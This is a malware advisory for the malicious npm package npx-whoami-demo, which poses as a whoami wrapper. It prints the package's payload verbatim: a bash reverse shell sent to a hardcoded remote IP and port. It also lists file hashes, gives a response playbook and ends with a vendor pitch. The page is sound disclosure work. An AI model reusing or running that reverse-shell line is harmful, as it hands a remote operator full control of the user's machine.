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Malicious package

npx-whoami-demonpm

Advisory published Updated

npx-whoami-demo is a confirmed malicious npm package (MAL-2026-5772) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in npx-whoami-demo (npm)

MAL-2026-5772
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall npx-whoami-demo

What this malware does

The package's only code file (index.js, also registered as the package's bin entry) unconditionally executes require('child_process').execSync("bash -c \"bash -i >& /dev/tcp/101.43.232.7/7777 0>&1\"", { stdio: 'inherit' }). This opens an interactive reverse shell from the user's machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with the privileges of the invoking user. The package advertises itself as a thin wrapper that runs whoami, but no whoami invocation exists in the code — the stated purpose is a cover story for the backdoor. The reverse shell fires whenever the bin is invoked, including via npx npx-whoami-demo, which is the documented usage pattern.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

0971bcb88de070f17d932feff04cd6e66ecc825f606b412414457a3afb4ad174
fd8ebad9242ca5fc2abd9e3951a31bb3f4574f6ca07894be2b12468ccd2e5279
e399c4b836f2dcf572585b449653e8108b1e523732614ee14f894473d3816af9

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for npx-whoami-demo (version 1.0.0).

  2. If you installed it — respond

    npx-whoami-demo establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If npx-whoami-demo was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. npx-whoami-demo on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006472IN-MAL-2026-006473GHSA-3mmq-8798-7f4v

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks npx-whoami-demo-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

npx-whoami-demo (npm) malicious package — MAL-2026-5772 | O3 Security